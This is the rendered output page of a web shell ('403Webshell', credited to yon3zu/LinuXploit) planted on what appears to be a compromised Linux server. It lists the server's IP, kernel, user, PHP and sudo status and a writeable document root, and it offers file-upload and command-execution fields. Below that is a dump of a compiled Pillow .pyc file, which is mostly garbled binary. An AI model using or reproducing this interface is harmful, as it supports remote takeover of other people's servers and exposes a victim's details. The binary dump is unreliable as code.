403Webshell
Server IP : 54.37.205.81  /  Your IP : 216.73.216.76
Web Server : nginx/1.22.1
System : Linux vps-249481fa 6.1.0-50-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User : debian ( 1000)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/PIL/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/PIL/__pycache__/PyAccess.cpython-311.pyc
�

�"�cH&����ddlZddlZ	ddlmZdZe��Ze�e��n%#e$rZddl	m
Z
e
e��xZZYdZ[ndZ[wwxYweje��Z
Gd�d��ZGd�d	e��ZGd
�de��ZGd�d
e��ZGd�de��ZGd�de��ZGd�de��ZGd�de��ZGd�de��ZGd�de��ZGd�de��Zide�de�de�de�d e�d!e�d"e�d#e�d$e�d%e�d&e�d'e�d(e�d)e�d*e�d+e�Zejd,kreed-<eed.<eed/<eed0<eed1<need-<eed.<eed/<eed0<eed1<d4d3�ZdS)5�N)�FFIz|
    struct Pixel_RGBA {
        unsigned char r,g,b,a;
    };
    struct Pixel_I16 {
        unsigned char l,r;
    };
    �)�
DeferredErrorc�6�eZdZdd�Zd�Zd�Zd�ZeZeZd�Z	dS)	�PyAccessFc���t|jj��}||_t�d|d��|_t�d|d��|_t�d|d��|_|jj	\|_
|_||_|j|_
|j
jdvr|j|_|���dS)Nzunsigned char **�image8zint **�image32�image��P�PA)�dict�im�unsafe_ptrs�readonly�ffi�castr	r
r�size�xsize�ysize�_img�_im�mode�palette�_palette�
_post_init)�self�imgr�valss    �./usr/lib/python3/dist-packages/PIL/PyAccess.py�__init__zPyAccess.__init__1s����C�F�&�'�'�� ��
��h�h�1�4��>�B�B����x�x��$�y�/�:�:����X�X�0�$�w�-�@�@��
�!$�����
�D�J���	��6����8�=�K�'�'��K�D�M�
	
��������c��dS�N�)rs r!rzPyAccess._post_initDs���r#c�*�|jrd}t|���|\}}|dkr
|j|z}|dkr
|j|z}|�||f��\}}|jjdvr�t|ttf��r|t|��dvrk|jjdkr't|��dkr|dnd}|d	d�}|j�||j
��}|jjdkr||f}|�|||��S)
a0
        Modifies the pixel at x,y. The color is given as a single
        numerical value for single band images, and a tuple for
        multi-band images

        :param xy: The pixel coordinate, given as (x, y). See
           :ref:`coordinate-system`.
        :param color: The pixel value.
        z%Attempt to putpixel a read only imagerr)��rr)r(�N)r�
ValueErrorrr�check_xyrr�
isinstance�list�tuple�lenr�getcolorr�	set_pixel)r�xy�color�msg�x�y�alphas       r!�__setitem__zPyAccess.__setitem__Gs!���=�	"�9�C��S�/�/�!����A��q�5�5��
�Q��A��q�5�5��
�Q��A�����1�v�&�&���A�
�H�M�[�(�(��5�4��-�0�0�
)��E�
�
�f�$�$��x�}��$�$�$'��J�J�!�O�O��a������b�q�b�	���M�*�*�5�$�)�<�<�E��x�}��$�$������~�~�a��E�*�*�*r#c��|\}}|dkr
|j|z}|dkr
|j|z}|�||f��\}}|�||��S)aq
        Returns the pixel at x,y. The pixel is returned as a single
        value for single band images or a tuple for multiple band
        images

        :param xy: The pixel coordinate, given as (x, y). See
          :ref:`coordinate-system`.
        :returns: a pixel value for single band images, a tuple of
          pixel values for multiband images.
        r)rrr,�	get_pixel)rr3r6r7s    r!�__getitem__zPyAccess.__getitem__jsb�����A��q�5�5��
�Q��A��q�5�5��
�Q��A�����1�v�&�&���A��~�~�a��#�#�#r#c��|\}}d|cxkr|jkrnnd|cxkr|jksnd}t|���|S)Nrzpixel location out of range)rrr+)rr3r6r7r5s     r!r,zPyAccess.check_xy�se�����A��Q�#�#�#�#���#�#�#�#�#��Q�(;�(;�(;�(;���(;�(;�(;�(;�/�C��S�/�/�!��	r#N�F)
�__name__�
__module__�__qualname__r"rr9r<�putpixel�getpixelr,r&r#r!rr0sq����������&
�
�
�!+�!+�!+�F$�$�$�&�H��H�����r#rc�$�eZdZdZd�Zd�Zd�ZdS)�
_PyAccess32_2z7PA, LA, stored in first and last bytes of a 32 bit wordc�P�t�d|j��|_dS�Nzstruct Pixel_RGBA **�rrr
�pixels�r�args�kwargss   r!rz_PyAccess32_2._post_init�����h�h�5�t�|�D�D����r#c�D�|j||}|j|jfSr%)rI�r�a�rr6r7�pixels    r!r;z_PyAccess32_2.get_pixel�s!����A��q�!���w����r#c��|j||}t|dd��|_t|dd��|_dS)Nrr*r)rI�minrOrP�rr6r7r4rRs     r!r2z_PyAccess32_2.set_pixel�s@����A��q�!���e�A�h��$�$����e�A�h��$�$����r#N�r?r@rA�__doc__rr;r2r&r#r!rErE�sJ������A�A�E�E�E� � � �%�%�%�%�%r#rEc�$�eZdZdZd�Zd�Zd�ZdS)�
_PyAccess32_3zARGB and friends, stored in the first three bytes of a 32 bit wordc�P�t�d|j��|_dSrGrHrJs   r!rz_PyAccess32_3._post_init�rMr#c�P�|j||}|j|j|jfSr%)rIrO�g�brQs    r!r;z_PyAccess32_3.get_pixel�s%����A��q�!���w�����(�(r#c���|j||}t|dd��|_t|dd��|_t|dd��|_d|_dS)Nrr*r��rIrTrOr\r]rPrUs     r!r2z_PyAccess32_3.set_pixel�s\����A��q�!���e�A�h��$�$����e�A�h��$�$����e�A�h��$�$�������r#NrVr&r#r!rYrY�sJ������K�K�E�E�E�)�)�)�����r#rYc�$�eZdZdZd�Zd�Zd�ZdS)�
_PyAccess32_4z&RGBA etc, all 4 bytes of a 32 bit wordc�P�t�d|j��|_dSrGrHrJs   r!rz_PyAccess32_4._post_init�rMr#c�\�|j||}|j|j|j|jfSr%)rIrOr\r]rPrQs    r!r;z_PyAccess32_4.get_pixel�s)����A��q�!���w�����%�'�1�1r#c��|j||}t|dd��|_t|dd��|_t|dd��|_t|dd��|_dS)Nrr*rr_r(r`rUs     r!r2z_PyAccess32_4.set_pixel�sj����A��q�!���e�A�h��$�$����e�A�h��$�$����e�A�h��$�$����e�A�h��$�$����r#NrVr&r#r!rbrb�sJ������0�0�E�E�E�2�2�2�%�%�%�%�%r#rbc�$�eZdZdZd�Zd�Zd�ZdS)�
_PyAccess8z%1, L, P, 8 bit images stored as uint8c��|j|_dSr%)r	rIrJs   r!rz_PyAccess8._post_init�s���k����r#c�(�|j||Sr%�rI�rr6r7s   r!r;z_PyAccess8.get_pixel�����{�1�~�a� � r#c��	t|d��|j||<dS#t$r(t|dd��|j||<YdSwxYw)Nr*r�rTrI�	TypeError�rr6r7r4s    r!r2z_PyAccess8.set_pixel�sg��	3� #�E�3���D�K��N�1������	3�	3�	3� #�E�!�H�c� 2� 2�D�K��N�1�����	3�����"�.A�ANrVr&r#r!rgrg�sG������/�/�"�"�"�!�!�!�3�3�3�3�3r#rgc�$�eZdZdZd�Zd�Zd�ZdS)�_PyAccessI16_Nz0I;16 access, native bitendian without conversionc�P�t�d|j��|_dS)Nzunsigned short **�rrrrIrJs   r!rz_PyAccessI16_N._post_init�s���h�h�2�D�J�?�?����r#c�(�|j||Sr%rjrks   r!r;z_PyAccessI16_N.get_pixel�rlr#c��	t|d��|j||<dS#t$r(t|dd��|j||<YdSwxYw)N�rrnrps    r!r2z_PyAccessI16_N.set_pixel�si��	5� #�E�5� 1� 1�D�K��N�1������	5�	5�	5� #�E�!�H�e� 4� 4�D�K��N�1�����	5���rqNrVr&r#r!rsrs�sJ������:�:�@�@�@�!�!�!�5�5�5�5�5r#rsc�$�eZdZdZd�Zd�Zd�ZdS)�_PyAccessI16_LzI;16L access, with conversionc�P�t�d|j��|_dS�Nzstruct Pixel_I16 **rurJs   r!rz_PyAccessI16_L._post_init�����h�h�4�d�j�A�A����r#c�L�|j||}|j|jdzzS�N��rI�lrOrQs    r!r;z_PyAccessI16_L.get_pixel�s%����A��q�!���w���3��&�&r#c���|j||}	t|d��}n&#t$rt|dd��}YnwxYw|dz|_|dz	|_dS)Nrxrr*�)rIrTror�rOrUs     r!r2z_PyAccessI16_L.set_pixel�sv����A��q�!��	)���u�%�%�E�E���	)�	)�	)���a��%�(�(�E�E�E�	)�����$�,����1�*������&� A	�A	NrVr&r#r!rzrz�sJ������'�'�B�B�B�'�'�'�����r#rzc�$�eZdZdZd�Zd�Zd�ZdS)�_PyAccessI16_BzI;16B access, with conversionc�P�t�d|j��|_dSr|rurJs   r!rz_PyAccessI16_B._post_init�r}r#c�L�|j||}|jdz|jzSrr�rQs    r!r;z_PyAccessI16_B.get_pixel�s%����A��q�!���w��}�u�w�&�&r#c���|j||}	t|d��}n&#t$rt|dd��}YnwxYw|dz	|_|dz|_dS)Nrxrr�r*)rIrT�	Exceptionr�rOrUs     r!r2z_PyAccessI16_B.set_pixelsv����A��q�!��	)���u�%�%�E�E���	)�	)�	)���a��%�(�(�E�E�E�	)�����1�*����$�,����r�NrVr&r#r!r�r��sJ������'�'�B�B�B�'�'�'�����r#r�c�$�eZdZdZd�Zd�Zd�ZdS)�_PyAccessI32_Nz"Signed Int32 access, native endianc��|j|_dSr%�r
rIrJs   r!rz_PyAccessI32_N._post_init����l����r#c�(�|j||Sr%rjrks   r!r;z_PyAccessI32_N.get_pixelrlr#c�&�||j||<dSr%rjrps    r!r2z_PyAccessI32_N.set_pixels��!���A��q���r#NrVr&r#r!r�r�
sG������,�,�#�#�#�!�!�!�"�"�"�"�"r#r�c�*�eZdZdZd�Zd�Zd�Zd�ZdS)�_PyAccessI32_Swapz,I;32L/B access, with byteswapping conversionc��|j|_dSr%r�rJs   r!rz_PyAccessI32_Swap._post_initr�r#c��t�d|��}t�d|��}|d|d|d|df\|d<|d<|d<|d<t�d|��dS)Nzint *zunsigned char *r(r_rr)r�newr)r�i�orig�charss    r!�reversez_PyAccessI32_Swap.reverse sz���w�w�w��"�"�����*�D�1�1��16�q��5��8�U�1�X�u�UV�x�1W�.��a��%��(�E�!�H�e�A�h��x�x���'�'��*�*r#c�N�|�|j||��Sr%�r�rIrks   r!r;z_PyAccessI32_Swap.get_pixel&s���|�|�D�K��N�1�-�.�.�.r#c�L�|�|��|j||<dSr%r�rps    r!r2z_PyAccessI32_Swap.set_pixel)s$�� �L�L��/�/���A��q���r#N)r?r@rArWrr�r;r2r&r#r!r�r�sV������6�6�#�#�#�+�+�+�/�/�/�0�0�0�0�0r#r�c�$�eZdZdZd�Zd�Zd�ZdS)�
_PyAccessFz32 bit float accessc�P�t�d|j��|_dS)Nzfloat **rHrJs   r!rz_PyAccessF._post_init0s���h�h�z�4�<�8�8����r#c�(�|j||Sr%rjrks   r!r;z_PyAccessF.get_pixel3rlr#c�v�	||j||<dS#t$r|d|j||<YdSwxYw)Nr)rIrorps    r!r2z_PyAccessF.set_pixel6sU��	)� %�D�K��N�1������	)�	)�	)� %�a��D�K��N�1�����	)���s�� 8�8NrVr&r#r!r�r�-sG��������9�9�9�!�!�!�)�)�)�)�)r#r��1�Lr
�LA�Lar�RGB�LAB�HSV�YCbCr�RGBA�RGBa�RGBX�CMYK�F�I�littlezI;16zI;16LzI;16BzI;32LzI;32BFc��t�|jd��}|s"t�d|j��dS|||��S)NzPyAccess Not Implemented: %s)�mode_map�getr�logger�debug)rr�access_types   r!r�r�bsM���,�,�s�x��.�.�K������3�S�X�>�>�>��t��;�s�H�%�%�%r#r>)�logging�sys�cffir�defsr�cdef�ImportError�ex�_utilr�	getLoggerr?r�rrErYrbrgrsrzr�r�r�r�r��	byteorderr�r&r#r!�<module>r�s���,����
�
�
�
�"��������D��#�%�%�C��H�H�T�N�N�N�N���"�"�"�%�$�$�$�$�$��
�b�!�!�!�C�#�#�#�#�#�#�����"����
��	�8�	$�	$��U�U�U�U�U�U�U�U�p%�%�%�%�%�H�%�%�%�"�����H����&%�%�%�%�%�H�%�%�%�&3�3�3�3�3��3�3�3�$5�5�5�5�5�X�5�5�5�$�����X����*�����X����*
"�
"�
"�
"�
"�X�
"�
"�
"�0�0�0�0�0��0�0�0�&)�)�)�)�)��)�)�)�$����������	�-�	�
	�-��	�-�
�
�=��
�=��
�=���]���M���M���M���M����� ��!��&�=�H���%�H�V��&�H�W��&�H�W��&�H�W��)�H�W���%�H�V��&�H�W��&�H�W��)�H�W��&�H�W��&�&�&�&�&�&s�'2�A�A�A

Youez - 2016 - github.com/yon3zu
LinuXploit